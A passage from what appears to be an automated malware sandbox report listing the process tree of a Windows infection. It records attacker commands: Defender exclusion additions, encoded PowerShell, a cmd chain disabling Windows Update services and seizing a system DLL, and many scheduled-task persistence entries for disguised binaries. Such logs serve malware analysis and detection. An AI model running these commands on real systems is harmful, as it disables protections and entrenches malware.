- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\StartMenuExperienceHost.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Start Menu\csrss.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft Office\Office16\upfc.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\DefenderSmartScreen.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\sihost.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\fontdrvhost.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4088

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\dwm.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Tasks\dllhost.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4320

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Security\SearchApp.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\sppsvc.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4856

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Portable Devices\wininit.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Java\jre1.8.0_66\bin\wininit.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\My Videos\SppExtComObj.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application\dwm.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1856

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Media Player\backgroundTaskHost.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4272

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\backgroundTaskHost.exe'
2⤵
PID:2956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\upfc.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1484

C:\Windows\Tasks\dllhost.exe
"C:\Windows\Tasks\dllhost.exe"
2⤵
- UAC bypass
- Executes dropped EXE
- Checks computer location settings
- Checks whether UAC is enabled
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2860

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\381a8b94-7a40-4dbc-8f4c-a019438f4876.vbs"
3⤵
PID:5748

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c6268287-8663-4d4a-aed0-2058a63a41f2.vbs"
3⤵
PID:5780

C:\Users\Admin\AppData\Local\Temp\new1.exe
"C:\Users\Admin\AppData\Local\Temp\new1.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5884

C:\Users\Admin\AppData\Local\Temp\C4Updater.exe
"C:\Users\Admin\AppData\Local\Temp\C4Updater.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3520

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\C4Updater.exe"
4⤵
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAbgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAYQB2AHYAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHIAcABwACMAPgAgAEAAKAAgADwAIwB2AGkAdgBnACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAHcAIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzACkAIAA8ACMAagBuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAawBmACMAPgA="
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1220

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
5⤵
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\system32\sc.exe
sc stop UsoSvc
6⤵
- Launches sc.exe
PID:1132

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
6⤵
- Launches sc.exe
PID:1116

C:\Windows\system32\sc.exe
sc stop wuauserv
6⤵
- Launches sc.exe
PID:980

C:\Windows\system32\sc.exe
sc stop bits
6⤵
- Launches sc.exe
PID:480

C:\Windows\system32\sc.exe
sc stop dosvc
6⤵
- Launches sc.exe
PID:5484

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
6⤵
- Modifies registry key
PID:2268

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
6⤵
- Modifies registry key
PID:3524

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
6⤵
- Modifies security service
- Modifies registry key
PID:5080

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
6⤵
- Modifies registry key
PID:5592

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
6⤵
- Modifies registry key
PID:2484

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
6⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2604

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
6⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2504

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:5636

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:5544

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:3172

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
6⤵
- Modifies registry key
PID:4260

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
6⤵
PID:1564

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
6⤵
PID:4008

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
6⤵
PID:4408

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
6⤵
PID:1812

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
6⤵
PID:5560

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
6⤵
PID:5096

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
6⤵
PID:2556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAaQAjAD4AIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwAiAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABTAG0AYQByAHQAUwBjAHIAZQBlAG4AUQBDAFwARABlAGYAZQBuAGQAZQByAFwARABlAGYAZQBuAGQAZQByAFAAcgBvAHQAZQBjAHQAaQBvAG4ALgBlAHgAZQAiACcAKQAgADwAIwBlAGQAYgB4ACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAbgB5AGwAIwA+ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABpAHMAYQBsAGwAbwB3AEgAYQByAGQAVABlAHIAbQBpAG4AYQB0AGUAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAE8AbgBJAGQAbABlAEUAbgBkACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAEQAYQB5AHMAIAAxADAAMAAwACkAKQAgADwAIwB5AGkAeQBnACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBTAG0AYQByAHQAUwBjAHIAZQBlAG4ARABlAGYAZQBuAGQAZQByAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGEAdQAjAD4AOwA="
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4128

C:\Users\Admin\AppData\Local\Temp\SysApp.exe
"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
3⤵
- Executes dropped EXE
PID:3044

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
4⤵
- Creates scheduled task(s)
PID:2516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\odt\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4768

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\odt\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\odt\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Media Player\Network Sharing\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\Network Sharing\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Media Player\Network Sharing\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1520

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\odt\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\odt\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 8 /tr "'C:\odt\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4360

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Start Menu\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default\Start Menu\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Start Menu\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 13 /tr "'C:\Program Files\Microsoft Office\Office16\upfc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\Office16\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 6 /tr "'C:\Program Files\Microsoft Office\Office16\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\Users\Default\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Users\Default\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 7 /tr "'C:\Users\Default\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\odt\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\odt\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\odt\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1276

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'C:\odt\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\odt\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 5 /tr "'C:\odt\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Windows\Tasks\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\Tasks\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2376

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Windows\Tasks\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4200

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Security\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Program Files\Windows Security\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Security\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Media Player\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Media Player\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Portable Devices\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:544

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Portable Devices\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2180

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'C:\Program Files\Java\jre1.8.0_66\bin\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files\Java\jre1.8.0_66\bin\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Program Files\Java\jre1.8.0_66\bin\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Documents\My Videos\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Users\Public\Documents\My Videos\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 11 /tr "'C:\Users\Public\Documents\My Videos\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\Program Files\Google\Chrome\Application\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files\Google\Chrome\Application\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 13 /tr "'C:\Program Files\Google\Chrome\Application\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1804

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\upfc.exe'" /f
1⤵
- Process spawned unexpected child process
